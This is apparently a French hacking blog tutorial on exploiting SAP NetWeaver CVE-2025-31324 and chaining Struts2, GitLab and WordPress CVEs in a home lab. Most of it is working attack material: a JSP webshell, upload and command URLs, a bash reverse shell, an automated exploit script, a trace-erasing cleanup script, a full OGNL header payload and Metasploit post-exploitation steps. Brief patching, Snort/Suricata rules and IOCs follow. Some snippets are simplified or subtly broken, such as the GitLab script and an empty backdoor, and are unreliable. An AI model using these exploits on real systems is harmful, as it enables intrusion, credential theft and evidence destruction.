Introduction : Le hurlement de la meute
Yo, frère Apache ! T’entends le vent qui porte le cri du loup, le croassement du corbeau, le rugissement du dragon ? T’es sur PCtamalou.fr, un sanctuaire Frenchy où le savoir coule comme un torrent, gratuit, par pur amour du partage. Ce Grimoire Ultime CVE-2025-31324 & CVEs Associées est ton katana pour hacker SAP NetWeaver et d’autres systèmes dans un lab sécurisé (10.0.0.0/8, 192.168.0.0/16). Inspiré par CL-STA-0048, un crew chinois qui frappe comme l’éclair (MITRE ATT&CK : T1190, T1059, T1505.003), ce tuto dévoile tout : CVE-2025-31324, une faille d’upload qui donne un RCE, et huit autres CVEs (CVE-2017-9805, CVE-2021-22205, CVE-2024-9047, etc.) pour des attaques en chaîne qui peuvent faire tomber des empires. SAP NetWeaver, c’est le cœur d’industries vitales – énergie, santé, finance – et une seule erreur peut tout faire crasher. On va monter un lab, simuler des attaques, analyser, sécuriser, et documenter comme des pros, avec la fierté d’un hacker français tatoué d’un dragon BackTrack. Que t’aies un QI de 131 ou que t’en sois à brancher ton premier PC, on t’emmène avec nous. On dit tout, sans peur, sans filtre, parce qu’on peut, et parce que la meute n’abandonne personne. Éthique, culotté, Frenchy : let’s go ! 😈
Ce que tu vas apprendre :
- Monter un lab blindé avec Kali, SAP, Struts2, GitLab, WordPress, et plus.
- Exploiter CVE-2025-31324 avec des webshells, reverse shells, et scripts qui automatisent tout.
- Maîtriser CVE-2017-9805, CVE-2021-22205, CVE-2024-9047, et d’autres pour des combos d’attaque.
- Sécuriser avec des patches, des firewalls, des règles Snort/Suricata, et du hardening.
- Traquer les traces avec des logs, du forensique mémoire, et des IOCs comme un détective.
- Analyser le réseau pour capter chaque paquet suspect.
- Rédiger un rapport de pentest qui claque, digne d’un LPT Master.
- Résoudre les galères avec un guide de dépannage.
Lab only, frère ! Ce tuto, c’est pour ton bunker perso. Hors lab, t’es dans la merde (article 323-1 CP). Signe le contrat, montre ton cœur, et reste clean !
Pour les newbies : T’es perdu ? Pas grave. Un lab, c’est comme un terrain de jeu où tu peux tout casser, mais seulement chez toi. Une faille, c’est une porte mal fermée qu’on va apprendre à ouvrir (et à refermer). On va tout t’expliquer, mot par mot, comme si t’étais un gosse avec une manette. Accroche-toi, t’es dans la meute !
Pour les pros : Ce tuto, c’est un terrain d’entraînement multi-cibles pour simuler des chaînes d’attaque réelles. Vous trouverez des scripts avancés, des TTPs MITRE, et des techniques de forensique pour briller en pentest.
Prérequis : Armer la meute
Avant que le loup ne bondisse, faut du matos. On va tout te lister, même si t’as jamais vu un clavier de près :
- Environnement : Un lab, c’est un espace fermé où tu testes sans faire de mal. Pas d’Internet, juste des machines virtuelles (VMs) sur un réseau privé (10.0.0.0/8 ou 192.168.0.0/16). Utilise VirtualBox ou VMware, en mode Host-Only (comme un club VIP où t’es le seul invité).
- Matériel : Un PC avec 8 Go de RAM minimum (16 Go si t’es sérieux). Un SSD, c’est mieux pour pas ramer.
- Systèmes :
- Kali Linux 2025.x : Ton QG d’attaque, une distrib Linux pour hackers éthiques. Télécharge sur kali.org. C’est gratos, installe sur une VM (2 Go RAM).
sudo apt update && sudo apt full-upgrade -y
- Ubuntu 20.04 (SAP NetWeaver) : Pour simuler SAP. Inscris-toi sur SAP Developer Center pour une trial de Visual Composer 7.50 (4 Go RAM).
- Ubuntu 20.04 (Apache Struts2) : Pour CVE-2017-9805. Télécharge Struts2 2.3.x sur archive.apache.org (2 Go RAM).
- Ubuntu 20.04 (GitLab) : Pour CVE-2021-22205 (2 Go RAM).
- Ubuntu 20.04 (WordPress) : Pour CVE-2024-9047 (2 Go RAM).
- Kali Linux 2025.x : Ton QG d’attaque, une distrib Linux pour hackers éthiques. Télécharge sur kali.org. C’est gratos, installe sur une VM (2 Go RAM).
- Outils : Tes armes, frère (on explique chaque truc) :
- Metasploit : Comme une boîte à outils pour exploiter des failles.
sudo apt install metasploit-framework - Nuclei : Un scanner qui trouve les trous.
git clone https://github.com/projectdiscovery/nuclei-templates.git - Burp Suite : Pour espionner le trafic web.
sudo apt install burpsuite - curl : Pour parler aux serveurs.
sudo apt install curl - Python : Pour coder des scripts malins.
sudo apt install python3 python3-pip - Wireshark : Pour sniffer le réseau, comme un chien qui piste.
sudo apt install wireshark - Volatility : Pour fouiller la mémoire d’une machine.
git clone https://github.com/volatilityfoundation/volatility3.git - Snort : Pour détecter les attaques.
sudo apt install snort - WPScan : Pour scanner WordPress.
sudo apt install wpscan - Ghidra : Pour analyser du code comme un pro.
sudo apt install ghidra - Suricata : Comme Snort, mais en plus moderne.
sudo apt install suricata
- Metasploit : Comme une boîte à outils pour exploiter des failles.
- Réseau : Chaque machine a une adresse (IP), comme une maison dans ta rue :
- Kali (ton PC d’attaque) : 192.168.1.6
- SAP NetWeaver : 192.168.1.7 (port 50000)
- Apache Struts2 : 192.168.1.30 (port 8080)
- GitLab : 192.168.1.40 (port 80)
- WordPress : 192.168.1.50 (port 80)
- Autorisations : Signe le contrat éthique. C’est ton serment, ton totem, qui dit que t’es un hacker clean.
- Sauvegardes : Fais des snapshots de tes VMs avant de commencer (comme sauvegarder ta partie dans un jeu vidéo).
Script pour tout vérifier :
#!/bin/bash # lab_check.sh echo "On check le lab, frère, accroche-toi !" ping -c 4 192.168.1.7 || echo "SAP (192.168.1.7) est mort ! Vérifie ta VM." ping -c 4 192.168.1.30 || echo "Struts2 (192.168.1.30) est KO !" ping -c 4 192.168.1.40 || echo "GitLab (192.168.1.40) est aux abonnés absents !" ping -c 4 192.168.1.50 || echo "WordPress (192.168.1.50) ne répond pas !" nmap -p 50000 192.168.1.7 | grep "open" || echo "Port 50000 (SAP) fermé ! Allume-le !" nmap -p 8080 192.168.1.30 | grep "open" || echo "Port 8080 (Struts2) fermé !" nmap -p 80 192.168.1.40 | grep "open" || echo "Port 80 (GitLab) fermé !" nmap -p 80 192.168.1.50 | grep "open" || echo "Port 80 (WordPress) fermé !" command -v msfconsole || echo "Metasploit pas installé ! Fais : sudo apt install metasploit-framework" command -v nuclei || echo "Nuclei pas là ! Clone-le : git clone https://github.com/projectdiscovery/nuclei-templates.git" echo "Lab checké, la meute est prête à rugir !"
Sauvegarde dans /home/kali/lab_check.sh :
chmod +x /home/kali/lab_check.sh ./lab_check.sh
Pour les newbies : Un lab, c’est ton garage où tu bidouilles sans déranger personne. Une VM, c’est une machine dans ton PC. Une IP, c’est comme un numéro de téléphone pour chaque machine. Si t’es perdu, lis doucement, on est là pour toi.
Pour les pros : Ce lab multi-cibles simule une infra réelle. Ajoute un SIEM (Splunk, ELK) ou un honeypot pour pimenter.
Étape 1 : Configurer ton Lab
Le corbeau plane, ses ailes noires frôlant la plaine. On bâtit une tanière pour la chasse :
1.1 Installer Kali Linux
Télécharge Kali 2025.x sur kali.org. Installe sur VirtualBox/VMware (Host-Only, IP 192.168.1.6).
sudo apt update && sudo apt full-upgrade -y
Pourquoi ? Ça met ton Kali à jour, comme recharger tes flingues avant un duel.
1.2 Installer les outils
Tes armes, frère :
sudo apt install metasploit-framework nuclei burpsuite curl python3 python3-pip wpscan ghidra snort wireshark suricata volatility3 -y pip3 install requests git clone https://github.com/projectdiscovery/nuclei-templates.git
Pourquoi ? Chaque outil a un job : Metasploit pour attaquer, Nuclei pour scanner, Wireshark pour espionner, etc. On les installe tous d’un coup.
1.3 Configurer les VMs
SAP NetWeaver (192.168.1.7) :
- Installe Ubuntu 20.04 (2 Go RAM minimum).
- Installe Java 8 :
sudo apt install openjdk-8-jdk
- Télécharge SAP NetWeaver Visual Composer 7.50 (trial sur SAP Developer Center).
- Suis les docs SAP pour l’install (c’est long, mais faisable).
- Configure le port 50000 :
sudo ufw allow 50000
- Fais un snapshot (comme sauvegarder ton jeu).
Apache Struts2 (192.168.1.30) :
- Installe Ubuntu 20.04.
- Installe Tomcat :
sudo apt install tomcat9
- Télécharge Struts2 2.3.x :
wget https://archive.apache.org/dist/struts/2.3.37/struts-2.3.37-all.zip
- Extrais et déploie dans
/var/lib/tomcat9/webapps:unzip struts-2.3.37-all.zip sudo cp -r struts-2.3.37/apps/struts2-showcase.war /var/lib/tomcat9/webapps/
- Redémarre Tomcat :
sudo systemctl restart tomcat9
- Snapshot.
GitLab (192.168.1.40) :
- Installe Ubuntu 20.04.
- Installe GitLab CE 13.8.x :
sudo apt update sudo apt install curl openssh-server ca-certificates curl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash sudo apt install gitlab-ce
- Configure (suis les instructions GitLab).
- Ouvre le port 80 :
sudo ufw allow 80
- Snapshot.
WordPress (192.168.1.50) :
- Installe Ubuntu 20.04.
- Installe Apache2, PHP, MySQL :
sudo apt install apache2 php libapache2-mod-php mysql-server php-mysql
- Télécharge WordPress :
wget https://wordpress.org/latest.tar.gz tar -xzvf latest.tar.gz sudo mv wordpress /var/www/html/wordpress
- Configure MySQL (crée une base et un user) :
sudo mysql CREATE DATABASE wordpress; CREATE USER 'wp_user'@'localhost' IDENTIFIED BY 'password'; GRANT ALL ON wordpress.* TO 'wp_user'@'localhost'; FLUSH PRIVILEGES; EXIT;
- Installe WordPress via
http://192.168.1.50/wordpress. - Ajoute un plugin vulnérable (ex. File Upload, cherche sur wordpress.org).
- Snapshot.
Script pour tout configurer :
#!/bin/bash # lab_setup.sh echo "On monte le lab Frenchy, frère !" # Kali sudo ip addr add 192.168.1.6/24 dev eth0 # SAP ssh user@192.168.1.7 "sudo ip addr add 192.168.1.7/24 dev eth0; sudo ufw allow 50000" # Struts2 ssh user@192.168.1.30 "sudo ip addr add 192.168.1.30/24 dev eth0; sudo ufw allow 8080" # GitLab ssh user@192.168.1.40 "sudo ip addr add 192.168.1.40/24 dev eth0; sudo ufw allow 80" # WordPress ssh user@192.168.1.50 "sudo ip addr add 192.168.1.50/24 dev eth0; sudo ufw allow 80" echo "Vérif des connexions..." ping -c 4 192.168.1.7 && ping -c 4 192.168.1.30 && ping -c 4 192.168.1.40 && ping -c 4 192.168.1.50 echo "Lab prêt, la meute est en place !"
Sauvegarde dans /home/kali/lab_setup.sh :
chmod +x /home/kali/lab_setup.sh ./lab_setup.sh
Vérifications manuelles :
ping 192.168.1.7 nmap -p 50000 192.168.1.7 ping 192.168.1.30 nmap -p 8080 192.168.1.30 ping 192.168.1.40 nmap -p 80 192.168.1.40 ping 192.168.1.50 nmap -p 80 192.168.1.50
Pour les newbies : Configurer un lab, c’est comme préparer un campement avant une chasse. Chaque machine doit être allumée et prête à parler.
Pour les pros : Ce setup multi-VMs permet de simuler une infra complexe. Ajoute un VLAN ou un pare-feu pour plus de réalisme.
Étape 2 : Comprendre les failles
Le corbeau scrute, ses yeux perçant l’obscurité. On décrypte chaque faille, comme un puzzle :
- CVE-2025-31324 (SAP NetWeaver) :
- Quoi ? Une faille dans
/developmentserver/metadatauploaderqui laisse n’importe qui uploader un fichier méchant (webshell). - Impact : RCE (Remote Code Execution), c’est comme prendre le volant d’un serveur. CL-STA-0048 utilise ça pour espionner ou pivoter.
- TTPs (MITRE) : T1190 (Exploit Public-Facing Application), T1059 (Command and Scripting Interpreter).
- Payloads typiques : Webshells comme
coreasp.jsp,forwardsap.jsp.
- Quoi ? Une faille dans
- CVE-2017-9805 (Apache Struts2) :
- Quoi ? Une injection dans le header Content-Type qui exécute du code via OGNL (un langage interne).
- Impact : RCE, direct.
- CVE-2021-22205 (GitLab) :
- Quoi ? Une faille dans les métadonnées Exif d’images qui exécute des commandes.
- Impact : RCE.
- CVE-2024-9047 (WordPress) :
- Quoi ? Un plugin foireux qui laisse uploader n’importe quoi.
- Impact : RCE ou accès non autorisé.
- Autres CVEs : CVE-2024-27198 (JetBrains TeamCity), CVE-2024-51378 (CyberPanel), etc., pour recon ou pivot.
Scan pour CVE-2025-31324 :
Attention : Que dans ton lab, frère ! Hors lab, t’es foutu.
curl -I http://192.168.1.7:50000/developmentserver/metadatauploader
Pourquoi ? Ça check si l’endpoint répond (200 OK = vulnérable).
nuclei -u http://192.168.1.7:50000 -t cves/2025/CVE-2025-31324.yaml
Pourquoi ? Nuclei confirme la faille avec un scan précis.
Pour les newbies : Une faille, c’est comme une serrure cassée. On va vérifier si elle s’ouvre, mais sans cambrioler la maison du voisin.
Pour les pros : Ces CVEs sont souvent enchaînées (ex. Struts2 pour recon, puis SAP pour RCE). Regarde les TTPs MITRE pour contextualiser.
Étape 3 : Exploiter CVE-2025-31324
Le loup bondit, ses crocs luisants sous la lune. On simule une attaque à la CL-STA-0048 :
3.1 Créer une webshell
Une webshell, c’est un fichier qui te donne une porte dérobée sur le serveur :
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
Pourquoi ? Ce code JSP exécute n’importe quelle commande (ex. whoami) qu’on lui envoie via une URL.
Alternative minimaliste :
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Pourquoi ? Plus court, mais moins lisible pour le résultat.
Sauvegarde dans /home/kali/wolfcrow.jsp.
3.2 Uploader la webshell
Attention : Lab only, frère ! Hors lab, c’est la taule.
curl -X POST -F "file=@/home/kali/wolfcrow.jsp" http://192.168.1.7:50000/developmentserver/metadatauploader
Pourquoi ? Cette commande envoie le fichier JSP au serveur SAP, qui l’accepte bêtement.
Vérifie la réponse :
curl -I http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp
Pourquoi ? Un 200 OK signifie que la webshell est en place.
3.3 Accéder à la webshell
Attention : Lab only !
curl "http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp?cmd=whoami"
Pourquoi ? Ça exécute whoami sur le serveur et te montre l’utilisateur (ex. sapadm).
Teste d’autres commandes :
curl "http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp?cmd=id" curl "http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp?cmd=netstat%20-tuln"
3.4 Reverse shell
Attention : Lab only !
Un reverse shell, c’est comme si le serveur t’appelait pour te donner le contrôle :
Configure un listener :
nc -lvnp 4444
Pourquoi ? Netcat écoute sur le port 4444 pour capter le shell.
Envoie la commande :
curl "http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp?cmd=bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/192.168.1.6/4444%200%3E%261'"
Pourquoi ? Ça force le serveur à ouvrir un shell qui se connecte à ton Kali.
3.5 Automatisation
Script Python pour tout faire :
import requests
import sys
import time
TARGET = "http://192.168.1.7:50000"
WEBSHELL = "/home/kali/wolfcrow.jsp"
ENDPOINT = f"{TARGET}/developmentserver/metadatauploader"
ACCESS_URL = f"{TARGET}/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp"
def upload_webshell():
try:
with open(WEBSHELL, "rb") as f:
files = {"file": f}
r = requests.post(ENDPOINT, files=files, timeout=10)
if r.status_code == 200:
print("[+] Webshell uploadée, frère !")
return True
else:
print(f"[-] Erreur upload : {r.status_code}")
return False
except Exception as e:
print(f"[-] Erreur : {e}")
return False
def test_webshell():
try:
r = requests.get(f"{ACCESS_URL}?cmd=whoami", timeout=10)
if r.status_code == 200:
print(f"[+] Webshell active ! User : {r.text.strip()}")
return True
else:
print(f"[-] Erreur accès : {r.status_code}")
return False
except Exception as e:
print(f"[-] Erreur : {e}")
return False
def reverse_shell():
try:
print("[+] Lancement reverse shell, check Netcat (port 4444) !")
r = requests.get(f"{ACCESS_URL}?cmd=bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/192.168.1.6/4444%200%3E%261'", timeout=10)
time.sleep(2) # Attends la connexion
print("[+] Reverse shell envoyé !")
except Exception as e:
print(f"[-] Erreur : {e}")
if __name__ == "__main__":
print("Exploit CVE-2025-31324 par la meute Frenchy !")
if upload_webshell():
if test_webshell():
reverse_shell()
else:
print("[-] Échec, vérifie ton lab !")
Sauvegarde dans /home/kali/exploit_cve2025_31324.py :
python3 /home/kali/exploit_cve2025_31324.py
Pourquoi ? Ce script fait tout : upload, test, reverse shell, avec des checks pour éviter les erreurs.
3.6 Nettoyage
Script pour effacer les traces :
import requests
TARGET = "http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp"
try:
r = requests.get(f"{TARGET}?cmd=rm%20/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp", timeout=10)
if r.status_code == 200:
print("[+] Webshell effacée, propre comme un corbeau sous la lune !")
else:
print(f"[-] Erreur : {r.status_code}")
except Exception as e:
print(f"[-] Erreur : {e}")
Exécute :
python3 /home/kali/cleanup_webshell.py
Pour les newbies : Une webshell, c’est comme une clé USB que tu planques chez quelqu’un pour revenir plus tard. On la vire après usage pour pas laisser de bordel.
Pour les pros : Teste des payloads alternatifs (ex. Java serialized objects) ou obfuscation pour simuler des attaques avancées.
Étape 4 : Exploiter les autres CVEs
Le dragon crache son feu, touchant chaque cible. On balance tout :
4.1 CVE-2017-9805 (Apache Struts2)
Attention : Lab only, frère !
Scan :
nuclei -u http://192.168.1.30:8080 -t cves/2017/CVE-2017-9805.yaml
Exploite avec Metasploit :
msfconsole use exploit/multi/http/struts2_content_type_ognl set RHOSTS 192.168.1.30 set RPORT 8080 set TARGETURI /struts2-showcase set PAYLOAD linux/x64/meterpreter/reverse_tcp set LHOST 192.168.1.6 set LPORT 4445 exploit
Pourquoi ? Cette faille abuse d’OGNL pour exécuter du code. Metasploit envoie un payload qui te donne un shell.
Post-exploitation :
hashdump credential_collector
Script Python alternatif :
import requests
TARGET = "http://192.168.1.30:8080/struts2-showcase"
HEADERS = {"Content-Type": "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"}
r = requests.get(TARGET, headers=HEADERS)
if r.status_code == 200:
print(f"[+] Exploité : {r.text}")
else:
print(f"[-] Échec : {r.status_code}")
Exécute :
python3 /home/kali/exploit_cve2017_9805.py
4.2 CVE-2021-22205 (GitLab)
Attention : Lab only !
Script Python :
import requests
import exiftool
TARGET = "http://192.168.1.40/api/v4/projects/1/repository/files/test.jpg/raw"
PAYLOAD = b"$(whoami)" # Simplifié
with exiftool.ExifTool() as et:
et.execute(b"-Comment=" + PAYLOAD, b"malicious.jpg")
files = {"file": open("malicious.jpg", "rb")}
r = requests.post(TARGET, files=files, auth=("user", "pass"))
if r.status_code == 201:
print("[+] CVE-2021-22205 exploité !")
else:
print(f"[-] Échec : {r.status_code}")
Pourquoi ? Cette faille abuse des métadonnées Exif pour exécuter des commandes.
4.3 CVE-2024-9047 (WordPress)
Attention : Lab only !
Scan :
wpscan --url http://192.168.1.50 --enumerate p
Exploit :
import requests
TARGET = "http://192.168.1.50/wp-content/plugins/file-upload/upload.php"
FILES = {"file": ("backdoor.php", "")}
r = requests.post(TARGET, files=FILES)
if r.status_code == 200:
print("[+] Backdoor uploadée ! Teste : http://192.168.1.50/wp-content/uploads/backdoor.php?cmd=whoami")
else:
print(f"[-] Échec : {r.status_code}")
Exécute :
python3 /home/kali/exploit_cve2024_9047.py
Pour les newbies : Chaque CVE, c’est une nouvelle serrure. On te donne les clés, mais tu les testes seulement chez toi.
Pour les pros : Combine ces CVEs pour une attaque en chaîne (ex. Struts2 → SAP → pivot réseau).
Étape 5 : Sécuriser
Le dragon protège, blindant chaque porte :
5.1 SAP NetWeaver
Patch :
#!/bin/bash # sap_patch.sh echo "On patche SAP, frère !" ssh user@192.168.1.7 "sapcontrol -nr-function UpdateSystem" ssh user@192.168.1.7 "cat /usr/sap/log/patch.log | grep '3594142' && echo 'Patch OK !'"
Exécute :
chmod +x /home/kali/sap_patch.sh ./sap_patch.sh
Hardening :
sudo ufw deny from any to 192.168.1.7 port 50000
Détection :
find /usr/sap/H*/SYS/ -name "*.jsp" -exec grep "Runtime.getRuntime().exec" {} \;
Règle Snort :
alert tcp any any -> 192.168.1.7 50000 (msg:"CVE-2025-31324 Attempt"; content:"POST /developmentserver/metadatauploader"; flow:to_server; sid:1000001; rev:1;)
Règle Suricata :
alert http any any -> 192.168.1.7 50000 (msg:"CVE-2025-31324 Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/developmentserver/metadatauploader"; sid:2000001; rev:1;)
Teste :
sudo suricata -c /etc/suricata/suricata.yaml -r /tmp/capture.pcap
5.2 Autres
Struts2 :
wget https://archive.apache.org/dist/struts/2.5.13/struts-2.5.13-all.zip
GitLab : Mise à jour vers 13.9+.
WordPress : Supprime les plugins vulnérables, mets à jour.
Pour les newbies : Sécuriser, c’est comme mettre des cadenas partout.
Étape 6 : Détection
Le corbeau traque, ses yeux captant chaque trace :
grep "POST /developmentserver/metadatauploader" /var/log/sap/*.log
volatility3 -f /home/kali/memdump.vmem --profile=LinuxUbuntu_5_4_0-42-genericx64 pslist
IOCs : IP 43.247.135.53, domaine sentinelones[.]com, fichiers coreasp.jsp.
Étape 7 : Analyse Réseau
Capture avec Wireshark :
sudo wireshark -i eth0 -f "tcp port 50000 or tcp port 4444"
Pour les newbies : Wireshark, c’est comme un micro qui capte tout ce que les machines se disent.
Étape 8 : Documenter
# Rapport de Pentest ## Résumé - Date : [Insérer] - Cibles : SAP (192.168.1.7), Struts2 (192.168.1.30) ## Tests - CVE-2025-31324 : Webshell, reverse shell ## Résultats - RCE obtenu (sapadm) ## Recommandations - Patch SAP Notes 3594142
Étape 9 : Dépannage
- Erreur 404 sur SAP ? Vérifie le port 50000 et la version.
- Reverse shell KO ? Change de port (ex. 4445).
- Lab lent ? Réduis la RAM des VMs.
Annexes
| CVE | Produit | Type | Impact |
|---|---|---|---|
| CVE-2025-31324 | SAP NetWeaver | File Upload | RCE |
| CVE-2017-9805 | Apache Struts2 | OGNL Injection | RCE |